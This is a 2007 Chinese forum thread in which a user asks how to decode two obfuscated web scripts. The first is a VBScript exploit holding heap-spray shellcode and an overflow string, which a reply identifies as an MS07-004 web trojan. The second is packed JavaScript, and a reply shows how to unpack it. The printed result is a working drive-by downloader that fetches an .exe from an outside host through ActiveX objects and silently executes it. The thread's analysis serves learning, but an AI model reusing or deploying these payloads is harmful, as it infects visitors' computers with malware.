中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 再次请问求助vbscript另一种加密怎么解密??太急了!!
作者:
标题: 再次请问求助vbscript另一种加密怎么解密??太急了!! 上一主题 | 下一主题
kkapskok
初级用户





积分 29
发帖 10
注册 2007-6-4
状态 离线
『楼 主』:  再次请问求助vbscript另一种加密怎么解密??太急了!!

第一种:
<script language="vbscript">
scode = unescape(""%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +
"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2" +
"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b" +
"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b" +
"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c3a" +
"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b" +
"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40" +
"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83" +
"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8" +
"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52" +
"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff" +
"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff40" +
"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f3a" +
"%u772f%u7777%u622e%u6961%u7564%u632e%u6d6f%u622f" +
"%u6961%u7564%u632e%u6d6f") + NOP;
eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a")
jnk= string(50,unescape("%13"))
suntzu = string(888,"A") + ebp + eip + eax + jnk

第2种

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('17("\\m\\n\\d\\7\\1\\c\\i\\d\\9\\M\\d\\b\\d\\a\\P\\u\\3\\6\\9\\d\\n\\e\\k\\0\\6\\9\\f\\9\\G\\3\\1\\v\\5\\6\\3\\d\\8\\i\\e\\b\\a\\16\\d\\4\\6\\0\\1\\n\\6\\d\\9\\G\\3\\1\\v\\5\\6\\i\\n\\d\\8\\b\\d\\n\\e\\k\\0\\6\\a\\z\\s\\5\\0\\t\\0\\s\\4\\O\\1\\6\\D\\P\\3\\3\\3\\f\\2\\i\\k\\w\\2\\4\\k\\k\\k\\f\\2\\0\\7\\1\\2\\4\\7\\7\\7\\f\\2\\F\\8\\i\\8\\k\\5\\2\\4\\8\\8\\8\\f\\2\\o\\1\\6\\0\\3\\e\\2\\4\\0\\0\\0\\f\\2\\G\\c\\7\\6\\i\\p\\i\\m\\1\\5\\2\\4\\m\\m\\m\\f\\2\\14\\G\\13\\11\\L\\L\\K\\2\\4\\g\\w\\f\\s\\v\\1\\1\\h\\Y\\C\\C\\S\\S\\S\\5\\h\\n\\e\\3\\l\\H\\W\\5\\7\\i\\e\\C\\h\\n\\C\\l\\5\\0\\t\\0\\s\\4\\9\\u\\3\\6\\9\\8\\m\\f\\8\\i\\7\\n\\e\\0\\d\\1\\5\\7\\6\\0\\3\\1\\0\\I\\g\\0\\e\\0\\d\\1\\b\\3\\3\\3\\z\\k\\k\\k\\a\\4\\9\\8\\m\\5\\p\\0\\1\\F\\1\\1\\6\\c\\k\\n\\1\\0\\b\\2\\7\\g\\3\\p\\p\\c\\8\\2\\j\\2\\7\\g\\p\\c\\8\\Y\\E\\X\\Q\\H\\x\\R\\R\\H\\N\\H\\R\\F\\J\\N\\l\\l\\X\\r\\N\\Q\\10\\J\\F\\N\\r\\r\\x\\r\\W\\q\\x\\y\\Q\\I\\J\\H\\2\\a\\4\\9\\u\\3\\6\\9\\t\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\0\\0\\0\\z\\m\\m\\m\\j\\2\\2\\a\\4\\9\\u\\3\\6\\9\\o\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\7\\7\\7\\z\\8\\8\\8\\j\\2\\2\\a\\4\\9\\o\\5\\1\\D\\h\\0\\f\\l\\4\\9\\t\\5\\i\\h\\0\\d\\b\\2\\V\\I\\L\\2\\j\\9\\g\\w\\j\\r\\a\\4\\9\\t\\5\\p\\0\\d\\8\\b\\a\\4\\9\\e\\B\\l\\f\\M\\d\\b\\l\\r\\r\\r\\a\\4\\9\\u\\3\\6\\9\\q\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\2\\o\\7\\6\\c\\h\\1\\c\\d\\M\\5\\q\\c\\g\\0\\o\\D\\p\\1\\0\\e\\A\\k\\w\\0\\7\\1\\2\\j\\2\\2\\a\\4\\u\\3\\6\\9\\1\\e\\h\\f\\q\\5\\V\\0\\1\\o\\h\\0\\7\\c\\3\\g\\q\\i\\g\\8\\0\\6\\b\\r\\a\\4\\u\\3\\6\\9\\1\\y\\4\\1\\y\\f\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\j\\2\\6\\c\\p\\c\\d\\M\\2\\z\\e\\B\\l\\a\\4\\e\\B\\l\\f\\9\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\j\\e\\B\\l\\a\\4\\o\\5\\A\\h\\0\\d\\b\\a\\4\\o\\5\\Z\\6\\c\\1\\0\\b\\t\\5\\6\\0\\p\\h\\i\\d\\p\\0\\E\\i\\8\\D\\a\\4\\o\\5\\o\\3\\u\\0\\L\\i\\q\\c\\g\\0\\b\\e\\B\\l\\j\\y\\a\\4\\o\\5\\x\\g\\i\\p\\0\\b\\a\\4\\q\\5\\G\\i\\u\\0\\q\\c\\g\\0\\b\\e\\B\\l\\j\\1\\y\\a\\4\\u\\3\\6\\9\\T\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\2\\o\\v\\0\\g\\g\\5\\F\\h\\h\\g\\c\\7\\3\\1\\c\\i\\d\\2\\j\\2\\2\\a\\4\\0\\t\\h\\l\\f\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\z\\s\\U\\U\\p\\D\\p\\1\\0\\e\\J\\y\\s\\j\\s\\7\\e\\8\\5\\0\\t\\0\\s\\a\\4\\T\\5\\o\\v\\0\\g\\g\\I\\t\\0\\7\\n\\1\\0\\b\\0\\t\\h\\l\\j\\s\\9\\C\\7\\9\\s\\z\\1\\y\\j\\2\\2\\j\\2\\i\\h\\0\\d\\2\\j\\r\\a\\4\\O\\7\\3\\1\\7\\v\\b\\c\\a\\P\\c\\f\\l\\4\\O\\15\\12")',62,70,'145|164|42|141|73|56|162|143|144|40|51|50|151|156|155|75|154|160|157|54|142|61|146|165|123|163|106|60|47|170|166|150|152|103|62|53|117|172|57|171|102|101|115|66|105|63|120|124|147|55|175|173|71|65|167|121|134|107|64|104|72|127|70|110||114|130||52|eval'.split('|'),0,{}))


这次又遇到另外这二种加密的  怎么解密 呢??? 郁闷啊。。


我想知道方法方式和原理,主要是要学习嘛.老叫人家帮助到底不是办法,学习好了也可以帮助其他人哦....
高手请看(希望能给大家上堂课,较为详细的讲解一下):

[ Last edited by kkapskok on 2007-6-15 at 01:10 AM ]

2007-6-15 01:04
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
kkapskok
初级用户





积分 29
发帖 10
注册 2007-6-4
状态 离线
『第 2 楼』:  

希望有解密高手的 快进来看看`` 谢谢啊``。。

2007-6-15 17:51
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
dikex
高级用户

潜水修练批处理



积分 788
发帖 366
注册 2006-12-31
状态 离线
『第 3 楼』:  

第一个:貌似是MS07-004网马,使用的是溢出的原理,而不是正常的代码,本人解不了;

第二个:负责的函数解密,想通过编写解密的函数比较困难,我们可以通过替换执行语句方式eval让浏览器自动解出来:

修改后的代码如下,保存为html文件,直接双击打开即可得到源码:
<textarea id="textareaID" rows="50" cols="100"></textarea>
<script language=JavaScript>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('17("\\m\\n\\d\\7\\1\\c\\i\\d\\9\\M\\d\\b\\d\\a\\P\\u\\3\\6\\9\\d\\n\\e\\k\\0\\6\\9\\f\\9\\G\\3\\1\\v\\5\\6\\3\\d\\8\\i\\e\\b\\a\\16\\d\\4\\6\\0\\1\\n\\6\\d\\9\\G\\3\\1\\v\\5\\6\\i\\n\\d\\8\\b\\d\\n\\e\\k\\0\\6\\a\\z\\s\\5\\0\\t\\0\\s\\4\\O\\1\\6\\D\\P\\3\\3\\3\\f\\2\\i\\k\\w\\2\\4\\k\\k\\k\\f\\2\\0\\7\\1\\2\\4\\7\\7\\7\\f\\2\\F\\8\\i\\8\\k\\5\\2\\4\\8\\8\\8\\f\\2\\o\\1\\6\\0\\3\\e\\2\\4\\0\\0\\0\\f\\2\\G\\c\\7\\6\\i\\p\\i\\m\\1\\5\\2\\4\\m\\m\\m\\f\\2\\14\\G\\13\\11\\L\\L\\K\\2\\4\\g\\w\\f\\s\\v\\1\\1\\h\\Y\\C\\C\\S\\S\\S\\5\\h\\n\\e\\3\\l\\H\\W\\5\\7\\i\\e\\C\\h\\n\\C\\l\\5\\0\\t\\0\\s\\4\\9\\u\\3\\6\\9\\8\\m\\f\\8\\i\\7\\n\\e\\0\\d\\1\\5\\7\\6\\0\\3\\1\\0\\I\\g\\0\\e\\0\\d\\1\\b\\3\\3\\3\\z\\k\\k\\k\\a\\4\\9\\8\\m\\5\\p\\0\\1\\F\\1\\1\\6\\c\\k\\n\\1\\0\\b\\2\\7\\g\\3\\p\\p\\c\\8\\2\\j\\2\\7\\g\\p\\c\\8\\Y\\E\\X\\Q\\H\\x\\R\\R\\H\\N\\H\\R\\F\\J\\N\\l\\l\\X\\r\\N\\Q\\10\\J\\F\\N\\r\\r\\x\\r\\W\\q\\x\\y\\Q\\I\\J\\H\\2\\a\\4\\9\\u\\3\\6\\9\\t\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\0\\0\\0\\z\\m\\m\\m\\j\\2\\2\\a\\4\\9\\u\\3\\6\\9\\o\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\7\\7\\7\\z\\8\\8\\8\\j\\2\\2\\a\\4\\9\\o\\5\\1\\D\\h\\0\\f\\l\\4\\9\\t\\5\\i\\h\\0\\d\\b\\2\\V\\I\\L\\2\\j\\9\\g\\w\\j\\r\\a\\4\\9\\t\\5\\p\\0\\d\\8\\b\\a\\4\\9\\e\\B\\l\\f\\M\\d\\b\\l\\r\\r\\r\\a\\4\\9\\u\\3\\6\\9\\q\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\2\\o\\7\\6\\c\\h\\1\\c\\d\\M\\5\\q\\c\\g\\0\\o\\D\\p\\1\\0\\e\\A\\k\\w\\0\\7\\1\\2\\j\\2\\2\\a\\4\\u\\3\\6\\9\\1\\e\\h\\f\\q\\5\\V\\0\\1\\o\\h\\0\\7\\c\\3\\g\\q\\i\\g\\8\\0\\6\\b\\r\\a\\4\\u\\3\\6\\9\\1\\y\\4\\1\\y\\f\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\j\\2\\6\\c\\p\\c\\d\\M\\2\\z\\e\\B\\l\\a\\4\\e\\B\\l\\f\\9\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\j\\e\\B\\l\\a\\4\\o\\5\\A\\h\\0\\d\\b\\a\\4\\o\\5\\Z\\6\\c\\1\\0\\b\\t\\5\\6\\0\\p\\h\\i\\d\\p\\0\\E\\i\\8\\D\\a\\4\\o\\5\\o\\3\\u\\0\\L\\i\\q\\c\\g\\0\\b\\e\\B\\l\\j\\y\\a\\4\\o\\5\\x\\g\\i\\p\\0\\b\\a\\4\\q\\5\\G\\i\\u\\0\\q\\c\\g\\0\\b\\e\\B\\l\\j\\1\\y\\a\\4\\u\\3\\6\\9\\T\\f\\8\\m\\5\\x\\6\\0\\3\\1\\0\\A\\k\\w\\0\\7\\1\\b\\2\\o\\v\\0\\g\\g\\5\\F\\h\\h\\g\\c\\7\\3\\1\\c\\i\\d\\2\\j\\2\\2\\a\\4\\0\\t\\h\\l\\f\\q\\5\\E\\n\\c\\g\\8\\K\\3\\1\\v\\b\\1\\e\\h\\z\\s\\U\\U\\p\\D\\p\\1\\0\\e\\J\\y\\s\\j\\s\\7\\e\\8\\5\\0\\t\\0\\s\\a\\4\\T\\5\\o\\v\\0\\g\\g\\I\\t\\0\\7\\n\\1\\0\\b\\0\\t\\h\\l\\j\\s\\9\\C\\7\\9\\s\\z\\1\\y\\j\\2\\2\\j\\2\\i\\h\\0\\d\\2\\j\\r\\a\\4\\O\\7\\3\\1\\7\\v\\b\\c\\a\\P\\c\\f\\l\\4\\O\\15\\12")',62,70,'145|164|42|141|73|56|162|143|144|40|51|50|151|156|155|75|154|160|157|54|142|61|146|165|123|163|106|60|47|170|166|150|152|103|62|53|117|172|57|171|102|101|115|66|105|63|120|124|147|55|175|173|71|65|167|121|134|107|64|104|72|127|70|110||114|130||52|document.getElementById("textareaID").innerText='.split('|'),0,{}))

</script>
得到的源码为:
function gn(n){var number = Math.random()*n;return Math.round(number)+'.exe';}try{aaa="obj";bbb="ect";ccc="Adodb.";ddd="Stream";eee="Microsoft.";fff="XMLHTTP";lj='http://www.puma164.com/pu/1.exe'; var df=document.createElement(aaa+bbb); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject(eee+fff,""); var S=df.CreateObject(ccc+ddd,""); S.type=1; x.open("GET", lj,0); x.send(); mz1=gn(1000); var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath(tmp,"rising"+mz1);mz1= F.BuildPath(tmp,mz1);S.Open();S.Write(x.responseBody);S.SaveToFile(mz1,2);S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject("Shell.Application","");exp1=F.BuildPath(tmp+'\\system32','cmd.exe');Q.ShellExecute(exp1,' /c '+t2,"","open",0);}catch(i){i=1;}
[ Last edited by dikex on 2007-6-15 at 06:11 PM ]



正在潜水修练的批处理小白
2007-6-15 18:09
查看资料  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: